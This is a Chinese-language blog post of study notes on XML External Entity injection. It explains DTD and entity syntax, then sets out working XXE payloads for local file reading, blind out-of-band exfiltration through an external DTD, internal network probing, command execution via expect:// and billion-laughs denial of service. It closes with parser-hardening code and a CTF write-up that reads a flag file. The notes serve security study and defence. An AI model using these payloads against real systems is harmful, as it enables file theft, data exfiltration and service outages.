XML External Entity Injection --笔记

DTD简介

文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。

DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

DTD 引用方式(简要了解):

1.DTD 内部声明

1
<!DOCTYPE 根元素 [元素声明]>

2.DTD 外部引用

假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:

1
<!DOCTYPE 根元素 SYSTEM “外部DTD的URI”>

3. 引用公共DTD

<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>

1
2
3
4
<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>
<!DOCTYPE configuration PUBLIC “-//mybatis.org//DTD Config 3.0//EN”
“http://mybatis.org/dtd/mybatis-3-config.dtd”>
以!DOCTYPE开始,configuration是文档根元素名称;PUBLIC表示是公共DTD;-表示是非ISO组织;mybatis.org表示组织;DTD 表示类型;Config 表示标签;3.0是标签后附带的版本号;EN表示DTD语言是英语;最后是DTD的URL;

所有的 XML 文档(以及 HTML 文档)均由以下简单的构建模块构成:

  • 元素
  • 属性
  • 实体
  • PCDATA
  • CDATA

重点了解实体

实体是用于定义引用普通文本或特殊字符的快捷方式的变量

内部实体声明

1
<!ENTITY 实体名称 "实体的值">

一个实体由三部分构成:&符号, 实体名称, 分号 (;),这里&在GET中需要进行URL编码,因为是使用参数传入xml的,&符号会被认为是参数间的连接符号

外部实体声明

1
<!ENTITY 实体名称 SYSTEM "URI/URL">

不同的语言支持的协议不同

mark

参数实体声明

参数实体实际上不是在具体实例化文档中使用,而是在DTD文档内部被使用

1
2
<!ENTITY % 实体名称 “实体的值”>
<!ENTITY % 实体名称 SYSTEM “URI”>
1
2
3
4
<!DOCTYPE xee [
<!ENTITY % name "XXE">
]>
</xxe>

XXE

1.文件读取

攻击利用大致分两个情形,一种是有回显的情况,一种是无会回显的情况

有回显:

1.直接读取文件

1
2
3
4
5
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE a [
<!ENTITY b SYSTEM "file:///e://tool/1.txt">
]>
<c>&b;</c>

2.

1
2
3
4
5
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE a [
<!ENTITY % d SYSTEM "http://localhost/attack1.dtd">
%d;]>
<c>&b;</c>

其中attack.dtd的内容为: <!ENTITY b SYSTEM "file:///etc/passwd">

3.

1
<!DOCTYPE a SYSTEM "http://xxx.xxx.xxx/attack.dtd">

其中attack.dtd内容同上不变

没有回显

如果服务器没有回显,只能使用Blind XXE漏洞来构建一条外带数据(OOB)通道来读取数据

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE a [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=e://tool/1.txt">
<!ENTITY % dtd SYSTEM "http://localhost/attack.dtd">
%dtd;
%mydata;
]>

其中attack.dtd的内容为:

1
2
3
4
<!ENTITY % all
"<!ENTITY &#x25; mydata SYSTEM 'http://localhost/?%file;'>"
>
%all;

最里层的嵌套里必须为字符实体

踩了很多坑,需要注意的是,dtd里的内容url需要添加”;”,最里层的嵌套的%需要为字符实体,需要添加”%all“

若要读取文件本身包含<等字符,如PHP文件,需要利用php://filter的base64编码绕过

如果网站开启了报错,也可以直接在报错信息中查看数据

mark

当然可以在apache访问日志中查看

1
2
3
4
5
6
::1 - - [13/Aug/2018:17:29:51 +0800] "GET /attack.dtd HTTP/1.0" 200 85
::1 - - [13/Aug/2018:17:29:51 +0800] "GET /?YWJj HTTP/1.0" 200 1751
::1 - - [13/Aug/2018:17:29:51 +0800] "GET /XXE.php HTTP/1.1" 200 1550
::1 - - [13/Aug/2018:17:31:25 +0800] "GET /attack.dtd HTTP/1.0" 200 85
::1 - - [13/Aug/2018:17:31:25 +0800] "GET /?YWJj HTTP/1.0" 200 1751
::1 - - [13/Aug/2018:17:31:25 +0800] "GET /XXE.php HTTP/1.1" 200 1550

2.内网信息探测及攻击

根据不同xml解析器会得到不同的回显报错结果

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80" >]>
<root>
<name>&xxe;</name>
</root>

结合其他的漏洞比如:struts2

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80/payload" >]>
<root>
<name>&xxe;</name>
</root>

3.执行系统命令

php环境下,xml命令执行需要php装有expect扩展,但是该扩展默认没有安装

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<root>
<name>&xxe;</name>
</root>

4.DOS攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

防御XXE攻击

一、禁用外部实体

1
2
3
4
5
6
7
8
9
10
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

二、尽量不要让用户直接提交XML代码,如果一定要,则需过滤用户提交的XML数据

关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。

jarvis-oj API调用

Content - Type头限制提交的数据为json,但其实服务器也可以接受其他的数据

这里就需要去修改Content - Type头为application/xml ,根据提示,读文件/home/ctf/flag.txt,然后POST

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ENTITY xxe SYSTEM "file:///home/ctf/flag.txt" >
]>
<root>
<user>&xxe;</user>
</root>

参考链接

https://security.tencent.com/index.php/blog/msg/69

http://www.4o4notfound.org/index.php/archives/29/

https://www.hackersb.cn/hacker/211.html

jd

https://www.secpulse.com/archives/6256.html

https://thief.one/2017/06/20/1/

http://www.w3school.com.cn/dtd/index.asp

http://www.freebuf.com/vuls/175451.html

文章作者: Venture
文章链接: http://yoursite.com/2018/08/14/XXE笔记/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Venture's Blog